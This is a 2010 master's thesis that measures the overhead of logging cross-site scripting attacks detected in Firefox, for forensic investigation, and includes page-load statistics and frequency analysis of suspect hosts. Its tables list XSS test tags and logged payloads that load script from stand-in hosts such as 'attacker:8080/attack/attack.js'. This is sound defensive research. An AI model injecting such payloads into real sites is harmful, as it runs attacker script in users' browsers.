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ABSTRACT

Vaidhyanathan, Mithun. M.S., Purdue University, May, 2010. Logging Cross-Site
Scripting Attacks in Firefox for Forensic Investigation. Major Professor: Marcus K.
Rogers
Detecting web application attacks is a task performed by many systems. An example of
such a system is the open source tool NoScript, which will be discussed at various points
in this work. Among these attacks, cross site scripting is a focus of this study, mainly due
to the levels of concern related to it. The primary goal of this research is to analyze how
efficiently a cross-site scripting attack once detected can be logged. Logging the attack
has benefits from a Cyberforensics point of view. This work analyzes related efforts and
the benefits of implementing such functionality. It was found that for the test system
analyzed, there was an additional overhead. This overhead, though, was seen to be within
acceptable limits defined in Usability Engineering literatures.
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CHAPTER 1. THE PROBLEM

1.1. Introduction
This research proposes a concept by means of which a browser can analyze
incoming and outgoing web traffic and store this analysis. The concept of analyzing web
traffic already exists, but efficient storage of this analysis would be helpful from a
forensic standpoint. The capability of this system to store analysis on a centrally located
machine can provide for ease of investigation. Analysis to be stored includes details of
the cross-site scripting attack against the user. The study also focuses on the performance
aspects of such systems. The task of analyzing web traffic is considered to be an
important factor that decides the system performance. The goal is to have a storage
technique that result in minimum overhead.

1.2. Statement of the Problem
This research focuses on the following research question – Can a Firefox web
browser efficiently log a cross-site scripting attack?

1.3. Statement of Purpose
This study analyzes browsers of the Firefox Version 3.0 category. The aim is to
analyze the web page and identify a cross-site scripting attack against the user. For
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example, consider the Javascript function eval (). Execution of eval () occurs at run time,
typically with the help of a user input. In such cases, it is possible that an attacker can
inject a malicious script within the eval () function. These attacks fall into the broad
category of injection attacks. The study follows the testing guidelines and cheat sheet for
cross-site scripting given by The Open Web Application Security Project (OWASP,
2009).
Efficiency in detection would be determined by the overhead caused due to the
detection mechanism (i.e., the additional time it takes to load the web page). If the
overhead is reduced, then the mechanism would be more efficient. Logging of the event
is done if a cross-site scripting attack or vulnerability is detected. The ultimate goal of
any web application security initiative is to protect the confidentiality, integrity and
availability of critical information.
Once logged, the logs can be utilized for forensics. This study looks at two
forensic analysis techniques that may be used for investigation. They are frequency
analysis and semantic analysis. Frequency analysis in this study has been done on
potentially malicious end hosts called by an attacker’s javascript code. The calls to the
suspicious hosts have been ordered from highest to lowest frequency. Such an analysis
can prove to be helpful in preventing any future attacks from these suspicious end hosts.
A strong policy can also be developed with this information.
Semantic analysis is used to analyze and check the log content for certain
conditions to finally arrive at a conclusion. The conclusion can be drawn from a decision
tree. The decision tree contains the course of action to be taken depending on whether the
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condition is met or not. Both these analyses are explained in detail, within the context of
this study in chapter 5.

1.4. Significance of the Problem
This thesis corroborates existing cross-site scripting detection techniques as well
as provides a fresh approach for logging the analysis in real time, which can provide for
better forensic analysis. A study in 2008 by the Web Application Security Consortium
(WASC, 2008) found out that 39% of a total of 97,554 web application vulnerabilities are
cross-site scripting that had a 38% probability of detection. It can be seen that cross-site
scripting is a matter of concern in the real world, especially when dealing with the
Payment Card Industry (PCI).
Once cross-site scripting is detected, it is logged in a manner so that it can be used
as evidence in the future. One hard challenge being faced in computer forensics is the
reliability and the validity of the evidence that is collected and analyzed (Kessler, 2009).
One factor for this is the use of different forensic tools, which give varying results.
Logging a web application attack in real time, upon detection from the web browser has
its advantages; mainly, integrity and accuracy of data. Investigating and law enforcement
agencies are the main audiences who can be benefitted by this study.

1.5. Definitions
Availability – Ensure that necessary access to information is not disrupted unless it has
been informed in advance (Paul, 2008).
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Character Encoding – “Mapping between a character set and a range of binary numbers”
(Roberts, Heller & Ernest, 1999, p. 377). Using this mapping, a potentially harmful
character maybe replaced with the corresponding binary representation, which is less
harmful.
Computer Forensics – “A sub-discipline of Digital & Multimedia Evidence, which
involves the scientific examination, analysis, and/or evaluation of digital evidence in
legal matters” (SWGDE & SWGIT, 2009, p. 5).
Confidentiality – Ensuring that only legitimate persons access information (Paul, 2008).
Cross-Site Scripting – Running attacker’s malicious scripts in an unsuspecting user’s
browser (Auger, 2009).
Decision Tree – Decision tree is a system that “searches through data, eliminates those
that conform to a known legitimate specification and highlights the exceptions” (Stallard
& Levitt, 2003, p. 3).
Frequency Analysis – In this work, frequency analysis refers to constructing a frequency
table identifying the number of times a malicious end host was called and studying the
frequency distribution by means of a bar chart.
Integrity – Ensuring that there is no data alteration (Paul, 2008).
Javascript – “Javascript is a lightweight interpreted programming language with objectoriented capabilities” (Flanagan, 2006, p. 1).
Semantic Analysis – Within the context of this work, a forensic system employing
semantic analysis can be seen as a system that analyzes log content and abstracts the
evidence based on some logic (Lin, 2008).
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Web Browser – “A web browser is an application that finds and displays web pages”
(McDowell, 2007).

1.6. Assumptions
Some assumptions of this work are as follows:


The developed extension is compatible with all versions of Firefox prior to
version number 3.0.15.



The target audiences are those companies or businesses that want enhanced data
protection measures or a more detailed investigation by law enforcement
agencies.



The detection of cross-site scripting attack is accurate as existing methods would
be used for detection. This work does not propose new detection methods, but
explains how existing detection methods can help incident response and forensics.



Operating system resources that are used by the extension are minimal and hence,
performance can be measured based on the time it takes to open the web page.

1.7. Limitations
The limitations of the study can be stated as follows:


The browser used is Firefox 3.0.15. As a result, the system has not been analyzed
in other browsers like Internet Explorer, Google chrome etc. The reason is that the
concept is based on the Firefox extension ‘NoScript’ that was mentioned above.



Only cross-site scripting attacks have been detected and logged.
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The extensive nature of the World Wide Web means that not all categories of
websites will be covered.



The analysis has been logged in a MySQL database.



The data being logged includes the malicious end website, timestamp, IP address
of the machine, the script in question and the malicious end host, if any, which
was called by the script.



The study has been carried out on a Windows platform.

1.8. Delimitations


Other forms of web application security concerns, apart from cross-site scripting,
such as buffer overflows, SQL injection etc. have not been looked into.



The implementation has not been tested on any other operating system other than
Windows.



Security issues related to the database have not been addressed in this study.

1.9. Summary
This chapter provided a primer into the research conducted. The main focus is on
how a web application attack can be logged after it is detected. Cross site scripting as a
web application attack has been chosen as a topic for study, mainly due to the existing
concerns about cross site scripting today. The chapters ahead will discuss an existing
system for detecting web application attacks and how the additional feature of logging
can be added and the performance issues around it.
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CHAPTER 2. LITERATURE REVIEW

2.1. Introduction
The thesis research question is - Can a Firefox web browser efficiently log a
cross-site scripting attack? Security gaps of Javascript have been a matter of concern and
are widely discussed (Hendrickx, 2003). This thesis primarily focuses on cross-site
scripting attacks that occur due to lack of secure coding techniques such as escaping
potentially harmful characters. Even constructs such as eval () can contain other harmful
code that may execute while browsing and can compromise the client. The threats that
Javascript can pose in terms of cross site scripting are discussed by Alme (2009) in a
McAfee white paper. The need for further security measures to be incorporated into
Javascript forms one of the basic motivations of this research.

2.2. Javascript Scrutiny
The following analysis begins with the argument as to why this thesis is relevant
to the field of web application security and is justified by three of the articles. Some more
examples that support the idea are provided. The penultimate part of the analysis deals
with issues relating to managing large amounts of data. Finally, a tangential issue
plaguing the area of web security is discussed.

8


Livshits and Guarnieri (2009) proposed a system called GATEKEEPER which
combines policy enforcement along with the points-to analysis of Javascript. It is
an effective means for policy enforcement to prevent web-based attacks and
ensure safe web-browsing. These concepts have their application in research areas
like code optimization, debugging etc.



An effective audit system in combination with an Intrusion Detection System was
presented to monitor Javascript in the Mozilla web browser by Hallaraker and
Vigna (2005). Process execution overhead increased as result of auditing but it
achieved the focus of study, which was detection of insecure Javascript
components



The research by Ofuonye and Miller (2008) gives an insight into using code
instrumentation techniques to rewrite any malicious Javascript code that violates
the defined policies. It is a technique that can be used when the Javascript
vulnerability to be detected is known.

The first two papers explain methods to detect typical malicious Javascript
constructs (excluding the eval () function). But these malicious constructs can be
embedded in the eval () function and can be executed at run time. In such a scenario,
these systems might fail. One solution could be to have a policy to block any calls to the
eval () function. However this defeats the purpose of having an eval () function in
Javascript; eval () has its uses and blocking it entirely is not a viable option. An approach
is required by which the contents of eval () can be analyzed at run time and can be
changed if they are found to be malicious or vulnerable. Ofuonye and Miller (2008)
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provide an insight into how this can be done. The concept of code instrumentation (i.e.,
rewriting the part of code that is identified as malicious) is suggested as a solution. One
approach that can be adopted is that if the analyzed Javascript contains any call to eval()
function, it should be analyzed before the browser evaluates it. If the evaluation finds no
threats, the code can be allowed to execute. Otherwise the system must alert the user and
log this event.
Eval () has been merely used as an example here for explaining the concept.
However, this work uses the overall concept explained above. To restate the summary of
chapter 1, an existing Firefox extension called “NoScript” is described in chapter 3 as it
forms an important part of the methodology. Sanitizing malicious code in run time is an
important step in the detection process, which is used by the extension and is also used in
this study.

2.3. Real Time Web Traffic Capture for Forensic Investigation
Ahmed, Hussain and Raza (2009) proposed a system that is an effective way to
enforce web policies in the corporate sector. It also supports the idea of collecting web
browsing information in real time and processing it proactively. The authors provide a
method to log web browsing activities of employees in an organization that can be used
for forensic investigation as well. This justifies the importance of logging vital data when
Javascript code is analyzed. If there is an investigation of a cybercrime incident, this
approach will help in getting data captured in real time. Here, it is important to identify
which data we need to capture. IP address is the most critical data. In addition to that,
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capturing timestamps is vital too. Once the necessary data has been ported into a
database, concerned personnel can analyze it by using appropriate statistical tools.
The aim of this thesis is to serve as a proof of concept for such an effort, to
analyze a few advantages of such a system from a cyber forensics standpoint and to study
the performance aspects while loading a web page.

2.4. Efficient Management of a Large Database


Kamara et al. (2003) proposed concepts that can be extremely useful for firewall
developers and testers. The main aim was to arrive at a matrix that linked firewall
vulnerability cause and effects with the firewall operation. It is really helpful in
resource allocation and avoiding errors in implementation and installation.



Bertino et al. (2007) presented an effective approach to detect SQL injection by
using anomaly based detection. The use of the data mining concept – “association
rule mining” is a novel means to form filtering rules.



Jayaraman et al. (2008) used the strong concept of data structures in mining a
large biometric database.



Debnath et al. (2008) presented an approach which ensured that DBAs would
focus only on tuning those configuration parameters which have the most impact
on system performance. This saves considerable time that the DBAs would
otherwise spend in tuning non-critical parameters.
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Storing of analysis, if a cross-site script attack occurs, is done in real time in this
particular work. This means that the database will increase on a regular basis and it is
important to manage this large data. These papers provide good background on this.
Similar to how Bertino et al. (2007) and Jayaraman et al. (2008) stress identifying only
the critical parameters and working around them, the database that is proposed to be built
should be tuned to resolve only those parameters that are highly critical to the
application.

2.5. A Tangential Problem
The concept of automatic updating of antivirus signature is important as it allows
the new signatures to be instantly loaded by avoiding the time delay in manual updating.
The study done by Badhusha et al. (2001) provides an implementation of this concept.
The concept of active networks was used to build a system that proactively updated the
antivirus signatures on end user systems instead of the users having to manually
download the new signature.
This study supports the case for a relevant question as follows: “Can updating of
signature based systems be done using results from vulnerability analysis of websites?”
The idea here is to make use of the Javascript analysis that would be logged. If there is a
new entry in the table, this new signature must be automatically updated by the software.
This will no doubt be a large scale effort. But initially, the antivirus provider may want to
implement this system for a small geography and then scale it up. The main advantage
here is that signature updates will happen rapidly, simply because of the large number of
web users. As a result, the types of attacks that can be detected by the antivirus will
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increase. The performance of the antivirus would correspondingly improve. This concept
will be discussed further in the analysis section. Issues pertaining to privacy concerns
must be taken care of too, but that is out of scope for this discussion.

2.6. Summary
This chapter went through the existing works done for mitigating threats posed by
Javascript. Some analyzed policy violations while others attempted to rewrite the
Javascript code itself. A number of works that used various data mining strategies to
handle large amounts of data were discussed. Finally, a minor question that comes out of
this study was discussed; the need for having automatic updates of antivirus and malware
signatures was argued. This topic can be a detailed and independent research on its own.
It has been mentioned in this chapter to highlight an advantage of this study but it is not a
part of the study itself.
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CHAPTER 3. METHODOLOGY

3.1. Study Design
This work is a quantitative study, employing an experimental design and using
descriptive statistics. Fig 3.1 shows a flowchart representing the concept. There are no
human subjects involved. The hypotheses are:
Null Hypothesis: A system that logs details from a cross site scripting attack detected in
the browser does not increase the time taken to open a webpage.
Alternate Hypothesis: A system that logs details from a cross site scripting attack
detected in the browser does increase the time taken to open a webpage.
A one tailed matched pair t-test has been performed with α = 0.05

3.2. Variables Measured
The quantity that has been measured is the time taken to open an individual
website. A website in a test environment was opened in the Firefox 3.0.15 web browser
with the detection and logging mechanisms activated as well as deactivated. Time taken
to open a website with and without the mechanisms has been calculated (in
microseconds) using a standard timer function written in Java. Analysis has been done on
this data to understand the overhead in opening a website introduced by the detection and
logging mechanisms. The variables are enlisted as follows:
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Independent Variable: Status of detection and logging mechanisms (Active or Inactive)
Dependent Variable: Time taken for a web page to load

Figure 3.1 Flowchart representing the concept
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3.3. Sampling
The sampling method chosen is convenience sampling. The reason is the huge
number of websites on the internet. As on November 09, 2009, the total number of web
pages is 21.69 billion based on an estimation model proposed by Maurice de Kunder
(2007). This is an increase of almost 50% compared to the number estimated in
November, 2007. The time limitations of the thesis would make it infeasible to identify
representative websites, the results from which can be generalized to the entire World
Wide Web. This would also be inaccurate owing to the differences in the content of each
website.
As a result, data has been collected from a test environment. This includes a
dummy website similar to a bulletin board or a blog. The details are given in the next
subsection.

3.3.1. Test Environment


MySQL database (Version 5.1.43) for logging.



Apache Tomcat server (Version 6.0.18) on a Windows 7 host, running 11 virtual
hosts. One victim host running a mock bulletin board/ blog application and 10
attacker hosts. A javascript function is called when a cross site script attack is
detected. Appendix A provides complete system details.
Different tags were used as potentially malicious code to be sanitized. Some of

them include <script /> and <img src = “”/> tags. These tags can be found as standard test
cases provided by OWASP (2010, January 16) and by RSnake (n.d.). They are a part of
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standard cheat codes that testers can use to test an application for XSS. The complete list
of tags that have been used is given in table 3.1.
Table 3.1
HTML tags used in data collection
Sr.

Script

Comments

<SCRIPT SRC = "" />

An external and helpful script can be run from the

No
1

location specified in src. But this could point to an
attacker's malicious script.
2

<IMG SRC = "" />

Image tag can get external image from the location
specified in src. But this could also point to an
attacker's malicious script.

3

<SCRIPT/SRC = "" />

More relevant to IE and Gecko rendering engines that
allows a slash between the tag and parameter.

4

<BODY

Similar to Sr. Nos. 1 and 2, the location within double

BACKGROUND= "">

quotes can point to an attacker's script.

5

<IMG DYNSRC = "">

6

<IMG LOWSRC ="">

7

<BGSOUND SRC
="">

8

<LAYER SRC = "">
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In this work, the sanitization happens on these tags when the javascript function
detects the “<” and “>” characters, which are escaped to “&lt;” and “&gt;”. This prevents
the browser from evaluating the malicious script as a regular script and just displays it on
the webpage. Appendix B shows the source code of this function.
The solution is designed to stop the cross site script attack and log it into a
database. The database chosen for this purpose is MySQL. This solution is designed
keeping in mind existing cross site script attack detection systems. The javascript
function provided in appendix B can be applied to these existing systems; NoScript is one
such system that is explained in the next sub-section. One advantage of NoScript is its
open source nature that allows a transparent understanding of the system.

3.3.2. NoScript
NoScript is an open-source Firefox add-on released under the GPL (GNU Public
License), which provides additional security while browsing the web on a Firefox
browser. It aims to disable executable web content like Javascript and Java by default,
however, a user can white-list a particular website to enable these contents (Maone, n. d.
b).
Maone (n. d. a) and Maone (n. d. b) provide most of NoScript’s documentation,
which are the FAQ and features sections respectively. A few of the features mentioned in
their documentation can be summarized as follows:
1. Java, silverlight, flash and other plugins
Along with javascript, NoScript can also block java, silverlight, flash and other
plugins on untrusted sites (Maone, n. d. b).
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2. Untrusted blacklist
Certain sites that users do not trust can be added to a blacklist which causes
NoScript to block any kind of malicious scripts from that domain.
3. Anti XSS protection
XSS or cross site scripting is a web application attack where an attacker causes a
script to run in an unsuspecting user’s browser. In other words, an attacker can
cause scripts to run from a site of their choice into the victim’s site. NoScript
provides protection against such kinds of attacks. NoScript protects against Type
0, Type 1 and Type 2 XSS attacks, thus ensuring full protection while browsing.
This work draws inspiration from the anti-XSS measures in NoScript. NoScript
checks for XSS, sanitizes the attack and show the user a small message saying that the
attack was filtered. Figure 3.2 shows such a message (Refer to the browser’s information
bar for NoScript’s message about XSS being prevented).
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Figure 3.2 XSS filtering in NoScript. Adapted from “NoScript - JavaScript/Java/Flash
blocker for a safer Firefox experience! - features – InformAction” by G. Maone, n.d. b,
retrieved from http://noscript.net/features
As mentioned previously, the concept described in this thesis is that once an XSS
attack has been detected and sanitized, it is logged in a database. Applying this to
NoScript, NoScript’s anti-XSS measure may be slightly modified to log it into a database
that can be monitored. To be precise, a function similar to the one in appendix B can be
added in a file in NoScript called “RequestWatchdog.js”. As NoScript is open-source, the
source code comes along with its installation (Maone, n. d. a). Hence, future work in this
regards is recommended, especially with more focus on the code. Doing so will be very
helpful from an incidence response and cyber forensics standpoint. The discussions in
chapter 5 will further clarify this.
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3.4. Table in MySQL Database for Logging
A table named ‘test_logging’ was created in a MySQL database into which logs
were inserted once a malicious javascript function was sanitized. The definition of the
table can be seen in appendix D.
The table contains fields for IP address, script, time stamp and suspect URL. The
IP address is the IP address of the machine that was targeted, the script is the malicious
javascript that was sanitized, the time stamp is the exact time at which the script was
sanitized (provided by a javascript Date() object) and the suspect URL is the malicious
end host, if any, that the script was calling.

3.5. Summary
In this chapter, the design method for the thesis was described as quantitative
research not involving human subjects, employing an experimental design. The quantity
that is measured is the time taken to open a web page with and without the cross-site
scripting detection and logging mechanisms. The sampling method chosen is
convenience sampling.
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CHAPTER 4. DATA

4.1. Collection of Samples
There were two sets of samples collected each having 40 observations. All
observations have been collected from random clients made to access the website at
different times.
The first set of data is collected to determine the time taken for the website to load
in the absence of the above mentioned solution (given in table 4.1) while the second set is
to determine the time taken for the website to load in the presence of the above
mentioned solution (given in table 4.2). The times taken give an indication of the
overhead caused by the solution.

4.2. Page Load Times with and without New Feature
A matched pair t-test for the observations presented in tables 4.1 and 4.2 will help
in inferring about the page load time in presence of the solution, because in principle a
matched pair works well for two datasets which represent two different conditions (e.g.,
before and after) of the same subject under study (Moore, McCabe & Craig, 2009). The
results from the test have been discussed in the next chapter. The data presented has two
columns: IP address from which the malicious website was opened and time taken for the
webpage to load, in microseconds.
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Table 4.1
Page load times in the absence of proposed solution
Sr. No

IP address

Page Load Time (microseconds)

1

IPADDRESS1 340

2

IPADDRESS1 213

3

IPADDRESS1 160

4

IPADDRESS1 148

5

IPADDRESS1 93

6

IPADDRESS1 96

7

IPADDRESS1 96

8

IPADDRESS1 139

9

IPADDRESS1 73

10

IPADDRESS1 71

11

IPADDRESS1 131

12

IPADDRESS2 139

13

IPADDRESS2 141

14

IPADDRESS2 137

15

IPADDRESS2 144

16

IPADDRESS2 144

17

IPADDRESS2 149

18

IPADDRESS2 109

19

IPADDRESS2 121
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Sr. No

IP address

Page Load Time (microseconds)

20

IPADDRESS2 169

21

IPADDRESS2 79

22

IPADDRESS2 124

23

IPADDRESS2 132

24

IPADDRESS2 125

25

IPADDRESS2 130

26

IPADDRESS2 121

27

IPADDRESS3 76

28

IPADDRESS3 71

29

IPADDRESS3 63

30

IPADDRESS3 113

31

IPADDRESS3 54

32

IPADDRESS3 73

33

IPADDRESS3 74

34

IPADDRESS3 75

35

IPADDRESS3 71

36

IPADDRESS3 49

37

IPADDRESS3 74

38

IPADDRESS3 46

39

IPADDRESS3 73

40

IPADDRESS3 48
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Table 4.2
Page load times in the presence of proposed solution
Sr. No

IP address

Page Load Time (microseconds)

1

IPADDRESS1 408

2

IPADDRESS1 244

3

IPADDRESS1 105

4

IPADDRESS1 123

5

IPADDRESS1 155

6

IPADDRESS1 166

7

IPADDRESS1 155

8

IPADDRESS1 167

9

IPADDRESS1 90

10

IPADDRESS1 88

11

IPADDRESS1 145

12

IPADDRESS2 145

13

IPADDRESS2 145

14

IPADDRESS2 198

15

IPADDRESS2 153

16

IPADDRESS2 157

17

IPADDRESS2 159

18

IPADDRESS2 140

19

IPADDRESS2 141
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Sr. No

IP address

Page Load Time (microseconds)

20

IPADDRESS2 179

21

IPADDRESS2 151

22

IPADDRESS2 136

23

IPADDRESS2 213

24

IPADDRESS2 143

25

IPADDRESS2 134

26

IPADDRESS2 139

27

IPADDRESS3 82

28

IPADDRESS3 58

29

IPADDRESS3 90

30

IPADDRESS3 291

31

IPADDRESS3 56

32

IPADDRESS3 53

33

IPADDRESS3 86

34

IPADDRESS3 86

35

IPADDRESS3 82

36

IPADDRESS3 58

37

IPADDRESS3 80

38

IPADDRESS3 53

39

IPADDRESS3 84

40

IPADDRESS3 54
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4.3. Sample Logs Logged into Database
The logs explained here include the ones when a malicious script is sanitized. The
program logs the malicious script into the database into the table test_logging that
explained in section 3.4, along with the IP address, timestamp and the suspicious URL
that the script was calling. Table 4.3 represents a few sample entries from this log file.
This data provides important information about the script and the time of attack.
Table 4.3
Sample logs logged into database
Sr.
No

IP address

Suspected script

Time stamp

Suspect URL

1

IP address 1

mithun says:
<script
src="http://attack
er:8080/attack/att
ack.js" />

Tue Feb 23 2010
13:55:09 GMT0500 (US Eastern
Standard Time)

http://attacker:8080/att
ack/attack.js

2

IP address 1

mithun says:
<script
src="http://attack
er4:8080/attack/at
tack.js" />

Tue Feb 23 2010
13:55:09 GMT0500 (US Eastern
Standard Time)

http://attacker4:8080/a
ttack/attack.js

3

IP address 1

mithun says:
<script
src="http://attack
er5:8080/attack/at
tack.js" />

Tue Feb 23 2010
13:55:09 GMT0500 (US Eastern
Standard Time)

http://attacker5:8080/a
ttack/attack.js

4

IP address 1

mithun says:
<script
src="http://attack
er6:8080/attack/at
tack.js" />

Tue Feb 23 2010
13:55:09 GMT0500 (US Eastern
Standard Time)

http://attacker6:8080/a
ttack/attack.js
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Sr.
No

IP address

Suspected script

Time stamp

Suspect URL

5

IP address 1

mithun says:
<script
src="http://attack
er7:8080/attack/at
tack.js" />

Tue Feb 23 2010
13:55:09 GMT0500 (US Eastern
Standard Time)

http://attacker7:8080/a
ttack/attack.js

6

IP address 1

mithun says:
<script
src="http://attack
er8:8080/attack/at
tack.js" />

Tue Feb 23 2010
13:55:09 GMT0500 (US Eastern
Standard Time)

http://attacker8:8080/a
ttack/attack.js

7

IP address 1

mithun says:
<script
src="http://attack
er9:8080/attack/at
tack.js" />

Tue Feb 23 2010
13:55:09 GMT0500 (US Eastern
Standard Time)

http://attacker9:8080/a
ttack/attack.js

8

IP address 1

mithun says:
<script
src="http://attack
er10:8080/attack/
attack.js" />

Tue Feb 23 2010
13:55:09 GMT0500 (US Eastern
Standard Time)

http://attacker10:8080/
attack/attack.js

9

IP address 1

mithun says:
<IMG
SRC="http://attac
ker10:8080/attack
/attack.js">

Tue Feb 23 2010
13:55:09 GMT0500 (US Eastern
Standard Time)

http://attacker10:8080/
attack/attack.js

10

IP address 1

mithun says:
<IMG
SRC="http://attac
ker4:8080/attack/
attack.js">

Tue Feb 23 2010
13:55:09 GMT0500 (US Eastern
Standard Time)

http://attacker4:8080/a
ttack/attack.js
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4.4. Summary
In this chapter, the important data that were collected for hypothesis testing were
explained. The three crucial data are time taken for the webpage to load in the presence
of the new feature, time taken for the webpage to load in the absence of the new feature
and the logs that were logged into the database. Results from analysis and related
discussions will be dealt with in the next chapter.
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CHAPTER 5. DISCUSSION AND CONCLUSION

5.1. Results from Matched Pair t-test
A matched pair t-test was run to do significance testing of the hypothesis stated in
chapter 3. The data described in chapter 4 was input into SAS. Table 5.1 shows the
output of matched pair t-test from SAS.
Table 5.1
Output from matched pair t-test in SAS
Sr. No.

Statistic

Value

1 N

40

2 Degrees of Freedom

39

3 t-value

3.85

4 P-value

0.0002

Note. N = number of observations
As can be seen, the obtained t-value was 3.85 which gave a P-value of
approximately 0.0002. As mentioned in chapter 3, α was chosen as 0.05, which means Pvalue < α. Hence the null hypothesis is rejected. So, the data shows that a system that
logs details from a cross site scripting attack detected in the browser does increase the
time taken to open a webpage. It is however important to note a few more points about
time taken to open websites. Nielsen (1993) notes the following:
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0.1 second is about the limit for having the user feel that the system is reacting
instantaneously, meaning that no special feedback is necessary except to display
the result.
1.0 second is about the limit for the user's flow of thought to stay uninterrupted,
even though the user will notice the delay. Normally, no special feedback is
necessary during delays of more than 0.1 but less than 1.0 second, but the user
does lose the feeling of operating directly on the data.
10 seconds is about the limit for keeping the user's attention focused on the
dialogue. For longer delays, users will want to perform other tasks while waiting
for the computer to finish, so they should be given feedback indicating when the
computer expects to be done. Feedback during the delay is especially important if
the response time is likely to be highly variable, since users will then not know
what to expect. (p. 135)
In this work, the average webpage load time in the absence of the detecting and
logging functions is 112 microseconds while the average webpage load time in the
presence of the detecting and logging functions is 135 microseconds. This means that
effectively, the webpage load time has increased by 20%. It can be seen that the time
taken to open the web site in the test environment with and without the detecting and
logging functions is much less than the 1st criteria (i.e., response time <= 0.1 seconds).
Comparable performance can be expected in other weblogs and websites which have
similar page sizes to be served. At the time of the tests, it should be noted that browser
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extensions, such as NoScript, were not running. If the javascript function is integrated
into NoScript and the timings noted, then there would be more factors to be considered
while calculating overhead in addition to NoScript’s anti-XSS protection. These include
features which are given by Maone (n. d. b).
If the percentage increase in times were to be applied to the 2nd criteria, it can be
seen that for web pages that serve content in 8.33 seconds, the additional over head
would cause the content to be served in approximately 10 seconds. This is still less than
the limit given in the 3rd criteria, which confirms that a user need not be given any special
messages.
If the time for serving web page content goes beyond these values, it is
recommended to display a message to the user about the time remaining for the page to
load, as mentioned in the 3rd criteria. This comes down to a trade-off between
performance of the system and the desired level of security. If a website has placed high
priority on security and can forego a certain loss in performance by allowing some
additional overhead, the system described in this work would be a good tool to employ.

5.2. Logs Collected
The logs collected give information about the following parameters at the time of
the attack:


IP Address of the targeted machine. This helps in identifying which host
was compromised.
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The script that was sanitized. This helps in further semantic analysis of the
malicious script.



The time stamp at the time of the attack.



The end host or domain that the script was calling. This helps in knowing
the domains that are suspicious.

These details were entered into a table in a MySQL database, as explained in
section 3.4. The logging activity resulted in a table of 1755 rows inserted in 185 seconds
occupying 9 KB on the disk. This corresponds to a throughput of 0.0486 KB/sec. The
bulletin board application served a webpage of minimum size of 1.72 KB when no user
comments were posted and of maximum size of 8 KB when there were 41 user
comments. The throughput to the database observed is small with respect to the size of
the webpage being served. Hence, speed of general web browsing was not seen to be
affected.

5.3. Forensic Importance: Frequency Analysis
Frequency analysis refers to identifying which host was called by the malicious
script and how many times. This exercise helps in identifying hosts that are obviously
suspicious so that the company’s policies can be designed to block those hosts. As
explained in the previous sections, there were 10 suspicious hosts that the test scripts
were calling. A frequency analysis of the 10 hosts generated a frequency distribution as
given in table 5.2.
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Table 5.2
Frequency analysis of suspect domains
Suspected Domain

Number of hits

Domain2

70

Domain4

75

Domain5

75

Domain9

75

Domain10

145

Domain3

209

Domain1

210

Domain6

210

Domain7

265

Domain8

421

The tests carried out resulted in domain8 being called maximum number of times
followed by domain7. So, a policy maker would want to ensure maximum restrictions
placed on these 2 domains compared to the other domains. An ordered bar graph for the
above table can be given as follows in Figure 5.1:
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Figure 5.1 Ordered bar graph for suspect domains frequency analysis

5.4. Forensic Importance: Semantic Analysis
Semantic analysis, in this work, refers to studying the type of script along with the
time stamp that was used for the cross site scripting attack. Some existing works done by
Stallard and Levitt (2003) and Lin (2008) point out to the use of semantic checking of log
files. By doing so, a prototype decision tree can be generated which can give forensics
experts an effective guide in interpreting logs and arriving at results. The decision tree
checks for certain behavior and depending on the outcome of the check, a decision can be
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taken for e.g. non-malicious or malicious. One way of constructing the decision tree can
as given below.
Before the system logs an XSS attack, it can set a priority value that indicates the
seriousness of that attack. It can take values like “low”, “medium” and “high” based on
an existing set of signatures. A forensic analyst, who examines the logs, can either
conclude that all three levels of attacks are serious or only the ones with a “high” priority
are serious. This helps in identifying if there is a false positive and in not reacting to
them, if found. This decision can be taken with the help of decision trees similar to the
ones shown in figures 5.2, 5.3 and 5.4.

Figure 5.2 Decision tree for high priority log entry
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Figure 5.3 Decision tree for medium priority log entry

Figure 5.4 Decision tree for low priority log entry
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These decision trees help in weeding out the false positives or the less threatening
attacks or those attacks which are within a company’s risk appetite. Also, researching on
the scripts that are logged will lead to a better understanding of how XSS attacks occur
and what measures can work against them.

5.5. Privacy Concerns
Studying the privacy concerns is out of the scope of this research, but it is worth
mentioning some points about the same. The proposed solution would be targeted to
work in networks that are monitored such as a private company. Since such places would
already be governed by existing policies for web browsing, it would be fair to say that
appropriate policies can be incorporated within the existing policy framework. Policies
for internet usage within a company are quite common. Integrating a few policies
regarding the system just discussed into the internet usage policy can be an effective
measure to take.

5.6. Future Work and Recommendations
This study can be worked upon further. One direction for future work can be to
include a wider gamut of websites. Studying websites that deliver web contents of
varying sizes will cover a wider range of websites.
The primary web application attack that was studied was XSS. However, similar
principles can be applied to other types of web application attacks like SQL injection. It
would be worthwhile to study how well different types of web application attacks can be
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handled by such a system. Similar to this work, importance must be given to performance
issues, when implementing such a system for other types of web application attacks.
As described in the previous section, studying privacy related issues can aid in
understanding and working around these issues. If a company is chosen as case study,
knowing thoughts of employees as well as the employer will assist in identifying the most
critical privacy issues.
Currently, the error rates for such a system are not known. A dedicated study that
identifies the false positives and false negatives of the system will also be beneficial.
Knowing the error rates will help in conforming to the Daubert criteria for acceptance of
Cyberforensics tools. Carrier (2003) has summarized the four points for satisfying
Daubert criteria as follows:
Testing: Can and has the procedure been tested?
Error Rate: Is there a known error rate of the procedure?
Publication: Has the procedure been published and subject to peer review?
Acceptance: Is the procedure generally accepted in the relevant scientific
community? (p.3)
Carrier (2003) has pointed out to the usefulness of open source tools when it
comes to meeting these guidelines. As stated earlier, one tool where this work can be
applied was “NoScript” which is open source. Such tools provide for greater transparency
and are easy for peer reviewing. The fact that source code is available to all and that the
system is understood by users makes it easier for open source tools to satisfy the
guidelines stated above.
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In chapter 2, a mention was made about dynamic updating of antivirus logs. A
previous work done by Badhusha et al (2001) corresponded to this idea. The concept
presented in this work can be used to dynamically update signatures relating to web
application attacks. As mentioned in chapter 2, dynamic updates will be beneficial as data
can be collected by a large number of users who access the web in the presence of this
system. This will ensure a better prevention of web application attacks by antivirus
softwares.

5.7. Conclusion
This study presented a system that logs cross site scripting attacks detected in a
Firefox web browser. This system has its uses in the cyber forensics field, namely
through frequency analysis of malicious end websites and through semantic checking of
log files. This would prove extremely beneficial for forensic analysts in making
decisions, as was also seen in the works done by Stallard and Levitt (2003) and Lin
(2008). As mentioned in section 1.4, a challenge faced in cyber forensics is reliability and
validity of the evidence gathered and analyzed (Kessler, 2009). Additional logs such as
the ones described in this work can be expected to prove beneficial. Further
improvements were suggested while discussing possible future works, which included
analyzing other forms of web application attacks and also ascertaining the error rates of
such systems.
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Appendix A. System Details
